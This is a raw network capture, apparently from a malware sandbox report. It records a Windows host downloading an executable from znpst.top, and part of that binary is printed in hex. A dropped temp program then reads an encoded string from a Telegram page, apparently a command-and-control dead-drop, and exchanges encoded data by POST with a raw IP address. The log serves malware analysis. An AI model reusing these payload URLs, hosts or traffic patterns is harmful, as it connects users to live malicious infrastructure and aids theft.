Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.6	49857	5.163.179.4	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:56:05.582315922 CEST	10599	OUT	GET /dl/buildz.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: znpst.top
Oct 29, 2021 17:56:05.942719936 CEST	10600	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 15:56:05 GMT Server: Apache/2.4.6 (CentOS) PHP/5.6.40 Last-Modified: Fri, 29 Oct 2021 15:50:01 GMT ETag: "d6400-5cf7fc7b02802" Accept-Ranges: bytes Content-Length: 877568 Connection: close Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 34 de 0b c3 70 bf 65 90 70 bf 65 90 70 bf 65 90 1f c9 ce 90 5c bf 65 90 1f c9 fb 90 52 bf 65 90 1f c9 cf 90 f0 bf 65 90 79 c7 f6 90 77 bf 65 90 70 bf 64 90 0f bf 65 90 1f c9 ca 90 71 bf 65 90 1f c9 ff 90 71 bf 65 90 1f c9 f8 90 71 bf 65 90 52 69 63 68 70 bf 65 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 16 64 3f 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 e2 0b 00 00 c4 70 02 00 00 00 00 f0 e1 09 00 00 10 00 00 00 00 0c 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 7c 02 00 04 00 00 34 7c 0d 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 e6 0b 00 50 00 00 00 00 80 7b 02 68 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 7b 02 90 1b 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 d6 09 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 dc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 e1 0b 00 00 10 00 00 00 e2 0b 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 c8 69 6f 02 00 00 0c 00 00 16 00 00 00 e6 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 6f 70 75 00 00 00 e5 02 00 00 00 70 7b 02 00 04 00 00 00 fc 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 68 3f 00 00 00 80 7b 02 00 40 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 cc 23 01 00 00 c0 7b 02 00 24 01 00 00 40 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 e8 0b 00 ac e8 0b 00 ba e8 0b 00 c6 e8 0b 00 d2 e8 0b 00 ea e8 0b 00 08 e9 0b 00 22 e9 0b 00 34 e9 0b 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$4pepepe\eReeywepdeqeqeqeRichpePELd?`p@\|4\|dP{h?{0h@.text `.dataio@.yopup{@.rsrch?{@@@.reloc#{$@@B"4
Oct 29, 2021 17:56:05.943383932 CEST	10601	IN	Data Raw: 50 e9 0b 00 68 e9 0b 00 76 e9 0b 00 8a e9 0b 00 98 e9 0b 00 b2 e9 0b 00 c6 e9 0b 00 d6 e9 0b 00 f2 e9 0b 00 02 ea 0b 00 14 ea 0b 00 2c ea 0b 00 40 ea 0b 00 54 ea 0b 00 70 ea 0b 00 80 ea 0b 00 94 ea 0b 00 a6 ea 0b 00 bc ea 0b 00 cc ea 0b 00 de ea Data Ascii: Phv,@Tp*:Lh~ 4Ttt`.
Oct 29, 2021 17:56:06.040802002 CEST	10603	IN	Data Raw: 6d 00 65 00 20 00 65 00 72 00 72 00 6f 00 72 00 20 00 00 00 00 00 0d 00 0a 00 00 00 00 00 54 00 4c 00 4f 00 53 00 53 00 20 00 65 00 72 00 72 00 6f 00 72 00 0d 00 0a 00 00 00 53 00 49 00 4e 00 47 00 20 00 65 00 72 00 72 00 6f 00 72 00 0d 00 0a 00 Data Ascii: me error TLOSS errorSING errorDOMAIN errorR6033- Attempt to use MSIL code from this assembly during n
Oct 29, 2021 17:56:06.041002035 CEST	10604	IN	Data Raw: 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 63 00 61 00 6c 00 6c 00 0d 00 0a 00 00 00 00 00 00 00 52 00 36 00 30 00 32 00 34 00 0d 00 0a 00 2d 00 20 00 6e 00 6f 00 74 00 20 00 65 00 6e 00 6f 00 75 00 67 00 68 00 20 00 73 00 70 00 61 00 63 00 65 00 Data Ascii: nction callR6024- not enough space for _onexit/atexit tableR6019- unable to open console deviceR6018
Oct 29, 2021 17:56:06.041188002 CEST	10606	IN	Data Raw: 2c 00 20 00 4c 00 22 00 5c 00 6e 00 5c 00 6e 00 22 00 29 00 00 00 2e 00 2e 00 2e 00 00 00 77 00 63 00 73 00 6e 00 63 00 70 00 79 00 5f 00 73 00 28 00 70 00 63 00 68 00 2c 00 20 00 70 00 72 00 6f 00 67 00 6e 00 61 00 6d 00 65 00 5f 00 73 00 69 00 Data Ascii: , L"\n\n")...wcsncpy_s(pch, progname_size - (pch - progname), L"...", 3)<program name unknown>wcscpy_s(progname, prog
Oct 29, 2021 17:56:06.041480064 CEST	10607	IN	Data Raw: 00 f2 ea 3f 00 00 00 00 00 98 ea 3f 00 00 00 00 00 98 ea 3f 00 00 00 00 00 42 ea 3f 00 00 00 00 00 42 ea 3f 00 00 00 00 00 ec e9 3f 00 00 00 00 00 ec e9 3f 00 00 00 00 00 9a e9 3f 00 00 00 00 00 9a e9 3f 00 00 00 00 00 48 e9 3f 00 00 00 00 00 48 Data Ascii: ???B?B?????H?H?????b?b???????F?F??????
Oct 29, 2021 17:56:06.138631105 CEST	10609	IN	Data Raw: d9 3f 44 6b 8c b0 bc e7 30 3d 00 68 bf f4 23 f1 d9 3f 1f 40 f2 15 20 89 36 3d 00 80 db ab fc 99 da 3f 11 a3 87 5f 9c e8 11 3d 00 88 14 7c 97 44 db 3f db 26 b5 3f 34 6a 3c 3d 00 18 27 9e cd ea db 3f 51 9b 87 db 6e 8a 26 3d 00 08 bb d6 b7 92 dc 3f Data Ascii: ?Dk0=h#?@ 6=?_=\|D?&?4j<='?Qn&=?l=6?DX,4=?-Q2=xbt?WE<.l?7w,=?l>=%?Nl,"=@\r??t8=85R?=L.?>)g=3U?
Oct 29, 2021 17:56:06.138840914 CEST	10610	IN	Data Raw: fe 94 39 f0 dc ae df 3c 00 ad 00 97 2d 29 b8 3f 07 5c aa 9d bb bf c4 3c 00 d6 c5 98 77 69 b8 3f e0 a1 e9 e5 11 3d ef 3c 00 52 e8 25 c3 a9 b8 3f fd 66 1f d8 40 ff a5 3c 00 2a 93 42 10 ea b8 3f 61 ad c9 d9 77 bc ea 3c 00 47 f2 f2 5e 2a b9 3f af 6d Data Ascii: 9<-)?\<wi?=<R%?f@<B?aw<G^?m(<<2;j?PE<?</<:T?Ft<+?NibzP<l? %X<aY?]@_}<nL?G<1-?a(<Ulm?iT?<*?V
Oct 29, 2021 17:56:06.138945103 CEST	10611	IN	Data Raw: 62 11 2d 20 cd 3f 43 b2 3a 92 07 e1 f6 3c 00 c0 10 7c e2 61 cd 3f 42 ae 3c af b0 24 fb 3c 00 e7 7b c9 9f a3 cd 3f 2b 58 ea a9 55 47 e9 3c 00 6d d8 0d 65 e5 cd 3f 3e 55 06 db 8a 07 d7 3c 00 e5 6f 5d 32 27 ce 3f 06 a1 8e 00 49 d9 ea 3c 00 d0 a0 cc Data Ascii: b- ?C:<\|a?B<$<{?+XUG<me?>U<o]2'?I<i?G<o? n<9[?\|^<.?>oj<._p?1S<X?l<~?o.x<%3d?{=4 L?V!=b#?@g=a
Oct 29, 2021 17:56:06.139062881 CEST	10613	IN	Data Raw: 43 83 1b 3d 00 9a 28 c9 4f f7 e2 3f 75 82 bc 31 e4 dd 1b 3d 00 9a 85 2f b8 44 e3 3f 05 12 20 ba 19 26 1d 3d 00 b7 87 20 a2 92 e3 3f 69 fe 43 31 0b 5d f1 3c 00 45 69 06 12 e1 e3 3f 58 a6 3d 14 67 d3 f1 3c 00 50 94 7e 0c 30 e4 3f 59 07 3b e9 f1 e5 Data Ascii: C=(O?u1=/D? &= ?iC1]<Ei?X=g<P~0?Y;= ]?m<?A8y<7l ?S6==.q?+`=?%!5=oh?y=iQi?v7=?dDR;=nl?b*t#=xA@h?
Oct 29, 2021 17:56:06.139228106 CEST	10614	IN	Data Raw: ef 3f 08 04 9f 55 3e 8a ef 3f 32 aa 2c 10 7c 87 ef 3f d0 dc 9c 6d b1 84 ef 3f 56 80 b6 6b de 81 ef 3f 06 01 39 08 03 7f ef 3f 98 49 dc 40 1f 7c ef 3f c1 b9 50 13 33 79 ef 3f 8c 1c 3f 7d 3e 76 ef 3f 96 9e 48 7c 41 73 ef 3f 23 c4 06 0e 3c 70 ef 3f Data Ascii: ?U>?2,\|?m?Vk?9?I@\|?P3y??}>v?H\|As?#<p?_0.m?tj?f?c?3)`?i]?F)Z?2VV?f\S?B?}4P?VL?{fI?uSE?\|uB?1<>?(b;?7?]o-4?Ph0?H,?

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.6	49858	104.21.9.146	80	C:\Users\user\AppData\Local\Temp\E4D7.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:56:10.206561089 CEST	11512	OUT	GET /agrybirdsgamerept HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: text/plain; charset=UTF-8 Host: toptelete.top
Oct 29, 2021 17:56:10.391041040 CEST	11514	IN	HTTP/1.1 200 OK Date: Fri, 29 Oct 2021 15:56:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive set-cookie: stel_ssid=dcd2b588de8680a9e4_8315865407749944581; expires=Sat, 30 Oct 2021 15:56:10 GMT; path=/; samesite=None; secure; HttpOnly pragma: no-cache cache-control: no-store strict-transport-security: max-age=35768000 access-control-allow-origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Bk%2FOkR5H9NQuDchi1zPe4D7wJAbk1R41mTdC7rQFm3vtAJHJtqJUSDnV58FswJ%2FVj8iBx1QkNdBd77ePLDX4x7rWHYwil7kEpbol%2BB%2FpFFuhIhPhie15fJlRkP%2BcgGR5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6a5d97a3de5a2b29-FRA Data Raw: 31 31 66 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 67 2f 74 5f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 54 65 6c 65 67 72 61 6d 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 32 31 33 37 37 71 38 39 65 6e 44 70 48 45 46 75 41 58 50 36 31 57 6c 58 70 73 6c 77 77 48 4b 6e 76 72 68 41 3d 61 62 2d 76 63 30 22 3e 0a 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 22 3e 0a 3c 6d Data Ascii: 11fd<!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @agrybirdsgamerept</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta property="og:title" content="agrybirdsgamerept"><meta property="og:image" content="https://telegram.org/img/t_logo.png"><meta property="og:site_name" content="Telegram"><meta property="og:description" content="21377q89enDpHEFuAXP61WlXpslwwHKnvrhA=ab-vc0"><meta property="twitter:title" content="agrybirdsgamerept"><m
Oct 29, 2021 17:56:10.391067982 CEST	11515	IN	Data Raw: 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 74 65 6c 65 67 72 61 6d 2e 6f 72 67 2f 69 6d 67 2f 74 5f 6c 6f 67 6f 2e 70 6e 67 22 3e 0a 3c 6d 65 74 61 20 Data Ascii: eta property="twitter:image" content="https://telegram.org/img/t_logo.png"><meta property="twitter:site" content="@Telegram"><meta property="al:ios:app_store_id" content="686449807"><meta property="al:ios:app_name" content="Telegram Messen
Oct 29, 2021 17:56:10.391086102 CEST	11517	IN	Data Raw: 72 64 73 67 61 6d 65 72 65 70 74 22 3e 0a 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 69 74 75 6e 65 73 2d 61 70 70 22 20 63 6f 6e 74 65 6e 74 3d 22 61 70 70 2d 69 64 3d 36 38 36 34 34 39 38 30 37 2c 20 61 70 70 2d 61 72 67 75 6d 65 Data Ascii: rdsgamerept"><meta name="apple-itunes-app" content="app-id=686449807, app-argument: tg://resolve?domain=agrybirdsgamerept"> <link rel="shortcut icon" href="//telegram.org/favicon.ico?3" type="image/x-icon" /> <link href="https://font
Oct 29, 2021 17:56:10.391104937 CEST	11518	IN	Data Raw: 61 73 73 3d 22 74 67 6d 65 5f 61 63 74 69 6f 6e 5f 62 75 74 74 6f 6e 5f 6e 65 77 22 20 68 72 65 66 3d 22 74 67 3a 2f 2f 72 65 73 6f 6c 76 65 3f 64 6f 6d 61 69 6e 3d 61 67 72 79 62 69 72 64 73 67 61 6d 65 72 65 70 74 22 3e 56 69 65 77 20 69 6e 20 Data Ascii: ass="tgme_action_button_new" href="tg://resolve?domain=agrybirdsgamerept">View in Telegram</a></div>... WEBOGRAM_BTN --><div class="tgme_page_action tgme_page_context_action"><div class="tgme_page_context_btn"><a class="tgme_action_button_
Oct 29, 2021 17:56:10.391119003 CEST	11518	IN	Data Raw: 72 69 70 74 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 70 61 67 65 20 67 65 6e 65 72 61 74 65 64 20 69 6e 20 31 30 2e 37 37 6d 73 20 2d 2d 3e 0a 0d 0a Data Ascii: ript></script> </body></html>... page generated in 10.77ms -->
Oct 29, 2021 17:56:10.391130924 CEST	11518	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.6	49859	194.180.174.181	80	C:\Users\user\AppData\Local\Temp\E4D7.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 17:56:10.488586903 CEST	11520	OUT	POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: text/plain; charset=UTF-8 Content-Length: 132 Host: 194.180.174.181
Oct 29, 2021 17:56:10.488641024 CEST	11520	OUT	Data Raw: 6e 41 59 37 32 32 71 4d 51 4d 55 58 62 46 4a 4d 7a 43 6e 6a 6a 4c 37 78 5a 57 35 52 37 30 42 44 35 69 58 48 57 65 77 34 30 6f 71 6e 6f 75 4b 41 51 37 2f 63 63 72 2f 74 32 48 6b 51 7a 39 7a 52 6f 61 67 73 41 30 72 55 43 34 6d 44 44 37 34 2b 63 58 Data Ascii: nAY722qMQMUXbFJMzCnjjL7xZW5R70BD5iXHWew40oqnouKAQ7/ccr/t2HkQz9zRoagsA0rUC4mDD74+cXkMF6v+TcJ70irB4eM+o1fNEopyU4MwMSBSKg5TMm5oI+Qp1Q==
Oct 29, 2021 17:56:10.860472918 CEST	11669	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 29 Oct 2021 15:56:10 GMT Content-Type: text/plain;charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Access-Control-Allow-Origin: * Data Raw: 32 34 61 38 0d 0a 68 52 6b 67 67 6a 6a 72 50 74 46 78 45 30 34 49 6a 51 47 69 34 37 6e 51 44 42 35 4c 68 51 55 4d 6c 7a 75 35 4d 2f 63 74 74 74 36 55 74 65 2f 67 56 5a 4b 73 63 66 37 66 2b 79 59 48 30 38 43 41 67 4b 5a 2b 61 78 37 52 50 4d 37 4d 44 37 35 4d 52 57 45 4d 47 66 50 33 54 73 34 6f 30 69 37 45 74 65 5a 75 70 31 57 5a 52 4e 39 78 56 4e 41 31 61 6e 4e 57 49 67 73 49 49 54 74 6d 4c 66 55 69 32 41 49 78 6b 65 41 59 6d 32 68 66 31 47 73 77 42 4b 2b 6e 75 66 77 49 32 32 49 49 45 45 43 55 57 68 37 76 74 58 4f 54 4d 69 61 7a 6f 52 72 34 57 39 59 4a 73 33 45 56 47 52 74 48 52 78 77 53 2b 6f 4a 78 6e 59 70 50 67 2b 31 46 70 73 6a 72 61 41 33 75 6c 4e 4c 73 33 57 43 34 61 4d 4e 56 34 46 46 59 39 51 56 61 31 64 56 6c 46 52 66 62 38 39 36 48 33 54 69 56 61 37 41 2b 4d 32 37 76 77 64 78 4c 59 47 5a 2f 31 43 62 6a 54 65 59 4d 66 56 53 6c 43 58 30 4f 2f 4a 4c 59 64 57 63 66 44 75 50 4d 38 6d 41 76 75 32 46 70 48 2f 46 78 36 66 5a 36 32 50 7a 62 57 6a 6e 5a 47 72 39 2b 69 77 33 64 34 62 46 2f 67 6d 77 74 6c 4b 4a 64 30 50 59 75 38 6e 45 47 45 2b 73 31 36 46 33 4d 2f 35 72 6c 65 53 44 70 61 6d 62 43 38 44 77 58 37 47 43 37 71 65 37 5a 47 65 33 71 67 58 38 34 46 42 6e 77 39 41 34 59 79 51 6a 65 4f 48 53 6c 70 4c 4d 39 6a 4c 6f 75 73 6e 33 70 34 6a 7a 74 4c 35 46 41 38 79 66 73 6e 76 6e 52 79 4d 6a 34 4d 42 6a 50 6d 79 77 42 64 5a 38 6d 57 59 34 46 54 50 66 45 33 61 6b 31 74 61 61 79 61 33 38 37 78 74 58 51 4c 33 38 2f 4e 4d 35 4b 55 73 2f 59 68 64 79 32 4e 4d 53 33 4f 4d 55 74 4a 59 68 35 61 43 70 34 59 37 33 6e 30 54 44 4d 7a 79 6c 56 54 66 79 30 63 58 59 77 4b 46 74 7a 74 2b 2b 67 74 51 2b 45 2f 4a 33 57 6f 49 70 30 62 6f 4f 79 77 79 6a 48 6c 6a 54 49 4d 71 63 63 68 30 56 4b 56 62 73 4c 73 50 77 30 46 69 53 66 37 2f 62 2f 42 72 39 68 53 5a 68 35 6d 5a 44 52 6d 70 33 34 2f 33 47 76 77 39 61 42 71 6f 72 65 65 44 32 30 51 33 75 42 53 5a 33 44 32 70 36 39 4e 52 78 49 50 32 73 67 65 39 70 70 4e 63 52 5a 43 42 33 44 56 79 41 72 73 43 47 30 6c 4e 52 4d 31 65 66 61 75 58 2f 73 79 61 2f 63 70 63 7a 54 70 77 71 4a 30 34 4f 5a 59 47 30 77 69 75 6f 4f 51 42 52 71 53 30 55 62 74 78 37 38 2b 4d 42 6f 49 63 79 41 47 55 45 57 31 41 61 5a 6f 65 76 45 4b 67 38 68 4d 55 57 6b 4f 54 52 2b 32 55 41 74 6c 46 37 4d 4a 2f 2f 6b 38 48 67 6c 74 70 4b 4c 79 76 68 63 4d 32 6d 5a 2f 51 54 4d 53 58 58 38 65 74 59 79 56 41 4b 72 2b 48 69 65 41 30 6a 77 6e 66 51 30 73 6f 38 6d 41 74 55 4d 74 72 6b 68 6d 4d 4e 76 6d 6c 47 76 64 77 43 5a 31 6d 62 34 50 41 70 53 38 42 50 61 44 68 39 75 63 38 4f 41 6e 59 49 48 71 30 35 42 72 64 33 38 44 70 4d 79 47 46 33 4a 37 64 4b 76 56 56 78 63 39 6b 47 63 2b 4d 31 68 74 56 78 36 51 56 7a 6d 69 77 65 58 4e 58 50 30 77 53 46 77 2b 34 36 79 69 30 33 36 30 62 6a 71 49 73 30 64 4b 39 49 4e 7a 6d 4f 73 41 5a 47 77 38 33 67 44 43 53 33 41 42 62 32 6e 53 65 42 4a 71 4c 41 43 73 68 41 36 73 4b 2f 79 46 32 56 44 6b 6a 42 75 57 49 30 6a 4e 67 32 75 33 4d 39 57 6a 53 73 46 39 4b 71 2b 6b 69 79 66 2b 5a 47 5a 4f 52 56 43 6d 46 4c 75 55 76 64 6a 78 46 46 34 48 58 55 42 6f 51 71 6f 6f 31 39 6a 78 31 51 4e 6f 56 37 74 74 76 72 57 5a 52 66 4e 54 39 4d 74 4e 56 52 41 63 47 68 5a 46 79 31 6a 7a 7a 2f 4b 48 79 42 58 77 63 55 35 37 6a 34 4c 6d 65 35 51 63 6e 30 74 31 66 63 49 30 59 34 2b 59 4f 4b 6a 56 31 47 59 30 67 50 73 35 67 6e 4b 74 61 30 72 6d 6f 54 61 71 57 69 34 34 44 77 43 77 42 6a 4a 63 33 52 69 46 78 30 41 68 52 Data Ascii: 24a8hRkggjjrPtFxE04IjQGi47nQDB5LhQUMlzu5M/cttt6Ute/gVZKscf7f+yYH08CAgKZ+ax7RPM7MD75MRWEMGfP3Ts4o0i7EteZup1WZRN9xVNA1anNWIgsIITtmLfUi2AIxkeAYm2hf1GswBK+nufwI22IIEECUWh7vtXOTMiazoRr4W9YJs3EVGRtHRxwS+oJxnYpPg+1FpsjraA3ulNLs3WC4aMNV4FFY9QVa1dVlFRfb896H3TiVa7A+M27vwdxLYGZ/1CbjTeYMfVSlCX0O/JLYdWcfDuPM8mAvu2FpH/Fx6fZ62PzbWjnZGr9+iw3d4bF/gmwtlKJd0PYu8nEGE+s16F3M/5rleSDpambC8DwX7GC7qe7ZGe3qgX84FBnw9A4YyQjeOHSlpLM9jLousn3p4jztL5FA8yfsnvnRyMj4MBjPmywBdZ8mWY4FTPfE3ak1taaya387xtXQL38/NM5KUs/Yhdy2NMS3OMUtJYh5aCp4Y73n0TDMzylVTfy0cXYwKFtzt++gtQ+E/J3WoIp0boOywyjHljTIMqcch0VKVbsLsPw0FiSf7/b/Br9hSZh5mZDRmp34/3Gvw9aBqoreeD20Q3uBSZ3D2p69NRxIP2sge9ppNcRZCB3DVyArsCG0lNRM1efauX/sya/cpczTpwqJ04OZYG0wiuoOQBRqS0Ubtx78+MBoIcyAGUEW1AaZoevEKg8hMUWkOTR+2UAtlF7MJ//k8HgltpKLyvhcM2mZ/QTMSXX8etYyVAKr+HieA0jwnfQ0so8mAtUMtrkhmMNvmlGvdwCZ1mb4PApS8BPaDh9uc8OAnYIHq05Brd38DpMyGF3J7dKvVVxc9kGc+M1htVx6QVzmiweXNXP0wSFw+46yi0360bjqIs0dK9INzmOsAZGw83gDCS3ABb2nSeBJqLACshA6sK/yF2VDkjBuWI0jNg2u3M9WjSsF9Kq+kiyf+ZGZORVCmFLuUvdjxFF4HXUBoQqoo19jx1QNoV7ttvrWZRfNT9MtNVRAcGhZFy1jzz/KHyBXwcU57j4Lme5Qcn0t1fcI0Y4+YOKjV1GY0gPs5gnKta0rmoTaqWi44DwCwBjJc3RiFx0AhR
Oct 29, 2021 17:56:10.860532045 CEST	11671	IN	Data Raw: 47 2f 31 4a 47 56 6c 44 75 41 6b 5a 4f 63 4b 76 67 37 64 63 35 52 59 70 4d 4d 4b 6d 59 37 4b 70 2b 70 64 75 50 63 55 68 59 4c 43 2b 72 36 36 38 36 63 38 59 53 41 32 70 46 44 74 4c 73 43 7a 49 55 68 35 66 52 47 5a 6e 6b 48 79 59 46 39 6f 59 52 68 Data Ascii: G/1JGVlDuAkZOcKvg7dc5RYpMMKmY7Kp+pduPcUhYLC+r6686c8YSA2pFDtLsCzIUh5fRGZnkHyYF9oYRhYhbKvDvCW67aZokOR5JtuWACQUr8xs9q1e3Bj1G02t4JM3IQAg4yxxV0qIyvXwm+nGK2/DlBCD6uvUs4a6fwx/eTLZmNX+XdadcnGe958Wpx/Bj92JgNpjR0zTP7rW/z+1xuGX+EZunYJG/TX1l1JqheL3kcxSRkL
Oct 29, 2021 17:56:10.860569000 CEST	11672	IN	Data Raw: 47 71 41 33 78 78 33 76 73 6d 6b 64 36 56 4c 76 64 56 72 52 53 68 4f 39 59 61 74 65 2b 6e 4d 75 44 51 56 44 42 5a 7a 5a 4a 47 6f 43 6e 76 51 44 39 51 2b 53 4b 58 47 44 32 78 47 6b 52 4b 64 7a 38 36 41 79 73 7a 70 58 30 62 38 4b 52 31 62 6a 56 65 Data Ascii: GqA3xx3vsmkd6VLvdVrRShO9Yate+nMuDQVDBZzZJGoCnvQD9Q+SKXGD2xGkRKdz86AyszpX0b8KR1bjVeqnUsfJnV6JNlUpMAfLy1j191eVh4GQsjdqHoZn8aCJt7Xa3koRCB9pHJhpvUAQzoir0/TyGHEVfRGVj3aWMWNQoBobcefMO1IOT/pgnyKaAopGUOQZhEtVovuCMwBfyCkCjecOVy9SKIFBfvJJJKSsi/alRcFMegk
